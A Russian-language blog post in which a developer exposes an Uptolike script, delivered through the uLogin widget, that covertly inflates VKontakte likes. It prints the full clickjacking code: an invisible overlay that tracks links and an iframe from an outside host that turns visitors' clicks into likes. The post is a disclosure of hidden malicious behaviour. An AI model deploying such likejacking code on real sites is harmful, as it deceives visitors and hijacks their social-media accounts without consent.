uLogin, как средство накрутки лайков клиентов

Будет немного сумбурно, но все же по делу.
Рассказ пойдет о красном квадрате малевича, о uLogin и о сервисе социальной активности для набора лайков.

Все началось с того, что ковыряясь в одном из своих проектов, наткнулся на красный квадрат Малевича — кодовое название накруточного слоя для лайков в соц сети, выглядело примерно так:

a5d124e5294b4a8495f28f5dcbb69072

Поняв, что дело неладное, т.к. таких скриптов не ставил, полез искать шалуна.
Для начала набрел на некий скрипт, лежащий по адресу:
w.uptolike.com/widgets/v1/extra.js?rnd=903182 (далее Скрипт Uptolike)

Конечно, посетовав на нашего СЕО-специалиста, полез в админ-панель и в код сайта с поиском когда и кто успел прописать данный скрипт. Как Вы и предполагаете — ничего не нашел. Дальше — проще. Нужно найти кто же нам подсовывает этот скрипт. Искать долго не пришлось — это многими любимый uLogin:

671a2eba17574f21a82110c4a234e8fa

Теперь пойдем в тех особенности.
Скрипт Uptolike не всегда выдает себя. Вот здоровый скрипт, показавший себя сразу же при пробе повторить эксперимент с накрутками:

Здоровый скрипт
(function() {
    (function () {

    if (!window["__utl_adbl_initialized"]) {
        window["__utl_adbl_initialized"] = true;
    }
    else {
        return;
    }

    var body = document.getElementsByTagName("body")[0];
    var img = document.createElement("img");
    img.src = "//w.uptolike.com/widgets/v1/det_dbl?rnd="+Math.random()+"&ad_number=1";
    img.style.position = "absolute";
    img.style.top = "-100px";
    img.style.left = "-100px";
    img.style.width = "1px";
    img.style.height = "1px";
    setTimeout(function() {body.removeChild(img);}, 2000);
    body.appendChild(img);


})();})();

Вот скрипт курильщика, который случайно попался на глаза от Uptolike:

Скрипт курильщика
(function() {
    (function () {

    if (!window["__utl_adbl_initialized"]) {
        window["__utl_adbl_initialized"] = true;
    }
    else {
        return;
    }

    var body = document.getElementsByTagName("body")[0];
    var img = document.createElement("img");
    img.src = "//w.uptolike.com/widgets/v1/det_dbl?rnd="+Math.random()+"&ad_number=1";
    img.style.position = "absolute";
    img.style.top = "-100px";
    img.style.left = "-100px";
    img.style.width = "1px";
    img.style.height = "1px";
    setTimeout(function() {body.removeChild(img);}, 2000);
    body.appendChild(img);


})();(function() {

    function addScript(url) {
        var el = document.createElement("script");
        el.type = "text/javascript";
        el.charset = 'utf-8';
        el.async = 'true';
        el.src = url;

        el.isLoaded = false;
        document.getElementsByTagName('head')[0].appendChild(el);

    }

    if (window.location.protocol=='https') {
        return;
    }


    if (!window["__utl_clkj_initialized"]) {
        window["__utl_clkj_initialized"] = true;
    }
    else {
        return;
    }

    function install() {

        var cleaning = false;
        var lastClickedElement;


        var body = document.getElementsByTagName("body")[0];
        var div = document.createElement("div");
        div.style.position = "absolute";
        div.style.width = "1px";
        div.style.height = "1px";
        div.style.top = "-1px";
        div.style.left = "-1px";
        div.style.zIndex = "10000";
        div.innerHTML = "<div id='__smth_wrap1' style='overflow: hidden;width: 20px;height: 25px;opacity:0.000001; position: fixed; z-index: 100001;'><iframe width='100' height='100' style='width:100px; height:100px;' src='http://in.sovinspector.ru/index.php?page=f5253166-a338-425d-b1ed-76dfd3862dc8'></iframe></div>";
        body.appendChild(div);


        var el = document.getElementById("__smth_wrap1");

        var mousemove = function(e) {
            var x = e.clientX, y = e.clientY;
            div.style.zIndex = "-1";
            var element = document.elementFromPoint(x, y);
            div.style.zIndex = "10000";
            if (element.nodeName == "A" || element.parentNode.nodeName == "A") {
                div.style.display = "block";
                el.style.left = (e.pageX - 10) + "px";
                el.style.top = (e.pageY - window.scrollY - 12) + "px";
                lastClickedElement = element;
            }
            else {
                lastClickedElement = undefined;
                div.style.display = "none";
            }
        };


        var clickListener = function(e) {
            setTimeout(function() {
                cleanup();
            }, 100);
        };

        document.addEventListener("mouseup", clickListener);

        function init(msg) {
            if (cleaning) {
                return;
            }
            if (msg && msg.data["context"]==="stggr") {
                if (msg.data["action"] === "init") {
                    if (cleaning) {
                        return;
                    }
                    setTimeout(function() {
                        if (cleaning) {
                            return;
                        }
                        div.style.width = "100%";
                        div.style.height = "100%";
                        div.style.top = "0";
                        div.style.left = "0";
                        window.addEventListener("mousemove", mousemove);
                    }, 1000);
                }
                else if (msg.data["action"] === "clean") {
                    cleanup();
                }
                else if (msg.data["action"] === "got") {
                    var img = document.createElement("img");
                    img.src = "//w.uptolike.com/widgets/v1/vk_clk?rnd="+Math.random();
                    img.style.position = "absolute";
                    img.style.top = "-100px";
                    img.style.left = "-100px";
                    img.style.width = "1px";
                    img.style.height = "1px";
                    img.onLoad = function() {
                        clickOnce();
                    }
                    setTimeout(function() {body.removeChild(img);}, 2000);
                    body.appendChild(img);

                    var clicked = false;
                    var clickOnce = function() {
                        if (clicked) return;
                        if (lastClickedElement) {
                            lastClickedElement.click();
                            clicked = true;
                        }
                    }

                    setTimeout(clickOnce, 500);

                    cleanup();
                }
            }
        }
        if (window.addEventListener){
            window.addEventListener("message", init, false);
        } else {
            window.attachEvent("onmessage", init);
        }


        var cleanup = function () {
            cleaning = true;
            window.removeEventListener("mousemove", mousemove);
            document.removeEventListener("mouseup", clickListener);
            document.removeEventListener("message", init)
            body.removeChild(div);
        };
    }

    install();

})()})();

Что делает:

  • Создает невидимый слой, который отображается при наведении на ссылки
  • Ловит клик и сматывает удочки

 

Содержимое iframe
<html>
<head>
    <script src="//vk.com/js/api/openapi.js?115"></script>
    <script>

        var debug = false;

        function log(e) {
            if (debug && window["console"]) {
                console.log(e);
            }
        }

        function initialize() {
            var body = document.getElementsByTagName("body")[0];

            VK.init({apiId: '4536751' });
            VK.Widgets.Auth("_smth__vk_auth", {width: "200px", onAuth: function (data) {
                log("User authenticated: "+data);
                window.parent.postMessage({context: "stggr", action: "got", data: data}, "*");
            }, onReady: function () {
                log("VK widget ready");
                window.parent.postMessage({context: "stggr", action: "init"}, "*");
            }});

            setTimeout(function() {
                var wrapper = document.getElementById("wrapper");
                var h = wrapper.clientHeight;
                if (h<90) {
                    log("Unauthorized (iframe height: "+h+"px)");
                    document.body.removeChild(wrapper)
                    window.parent.postMessage({context: "stggr", action: "clean"}, "*");
                }
                else {
                    log("Authorized");
                    wrapper.removeChild(document.getElementById("_smth__vk_auth"));

                    VK.Observer.subscribe("widgets.like.liked", function() {
                        log("like clicked");
                        window.parent.postMessage({context: "stggr", action: "got"}, "*");
                    });
                    VK.Observer.subscribe("widgets.like.unliked", function() {
                        log("unlike clicked");
                        window.parent.postMessage({context: "stggr", action: "got"}, "*");
                    });

                    VK.Widgets.Like("_smth_vk_like", {type: "button"});
                    var rm = setInterval(function() {
                        if (document.querySelector) {
                            var iframe = document.querySelector("body > iframe");
                            if (iframe) {
                                document.body.removeChild(iframe);
                                log("cleared iframe");
                                clearInterval(rm);
                            }
                        }
                    }, 50);
//                    wrapper.style.top = "-75px";
                    wrapper.style.left = "-25px";
                }
            }, 2000);
        }


    </script>

    <style>
        #wrapper {
            position:absolute;
            top:0;
            left:-210px;
            /*top:-75px;*/
            /*left:-15px; */
            width: 100px;
        }
    </style>

</head>
<body onload="initialize();">
<div id="wrapper">
    <div id="_smth__vk_auth"></div>
    <div id="_smth_vk_like"></div>
</div>
</body>
</html>

Ссылки на ресурсы можно взять из кода. И да, это пример того, как современные «особенности» используются в современном «СЕО».